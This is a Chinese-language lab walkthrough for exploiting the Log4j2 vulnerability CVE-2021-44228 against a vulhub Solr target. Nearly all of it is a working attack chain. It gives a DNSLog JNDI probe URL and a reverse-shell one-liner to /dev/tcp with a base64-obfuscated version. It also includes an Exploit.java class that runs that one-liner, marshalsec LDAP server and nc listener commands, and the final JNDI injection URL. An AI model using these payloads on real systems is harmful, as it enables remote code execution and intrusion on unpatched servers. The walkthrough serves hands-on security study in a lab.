参考文章:
说明
log4j2:
log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。
靶场搭建:
在vulhub上面下载靶场包,找到编号CVE-2021-44228,使用docker以下命令启动:
[root@bogon CVE-2021-44228]# docker compose up -d
完成后,查看服务端口 8983
[root@bogon CVE-2021-44228]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
da2dd853a17a vulhub/solr:8.11.0 "bash /docker-entryp…" 12 minutes ago Up 12 minutes 0.0.0.0:8983->8983/tcp, :::8983->8983/tcp cve-2021-44228-solr-1
访问
测试漏洞
在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造payload,访问的url如下:
http://192.168.87.87:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.10ztpb.dnslog.cn }
注意别忘了将url中的ip改为靶机ip,注入部分中的3dto27.dns.log.cn改为你在Get SubDomin获取的子域名。如果存在log4j2漏洞,我们将在DNSLog平台看到回显。
可以看到java的版本了,说明存在漏洞
漏洞利用
编写恶意文件Exploit.java,企图反弹shell到kali的7777端口:
bash -i >& /dev/tcp/192.168.87.131/7777 0>&1
进行base64编码:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEzMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
然后编写恶意文件,命名为Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEzMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
然后我们把Exploit.java编译为Exploit.class,最好保证javac的版本为1.8。命令如下:
javac Exploit.java
把这个class文件上传到kali的某一个目录下面
在kali中的某一个目录中开启4444端口:
然后我们浏览器访问kali的这个目录可以看到:
下面需要在kali中启动LDAP服务,这里使用marshalsec-0.0.3-SNAPSHOT-all.jar工具,安装过程详见:
然后下载marshalsec包,在目录下面解压后,进行编译:
mvn clean package -DskipTests
https://github.com/mbechler/marshalsec
编译完成后会发现目录中有我们需要的这个jar包,我们是要用这个工具建立LDAP服务
启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.87.131:4444/#Exploit" 1389
接着在攻击机另起一个终端,监听之前Exploit.java里面写的反弹shell的端口7777,命令为:
nc -lvvp 7777
最后一步,也是最关键的一步,进行JNDI注入,我们在注入点/solr/admin/cores?action构造一个JNDI注入如下:
${jndi:ldap://192.168.87.131:1389/Exploit}
完整的url为:
http://192.168.87.87:8983/solr/admin/cores?action=${jndi:ldap://192.168.87.131:1389/Exploit}
我们访问可以看到:
kali上面可以看到:
可以看到靶机已经成功访问到了恶意文件,如果成功执行的话,可以看到监听7777端口的回显,并且远程执行命令了,不过我这边靶机没有执行这个文件,大致过程是这样子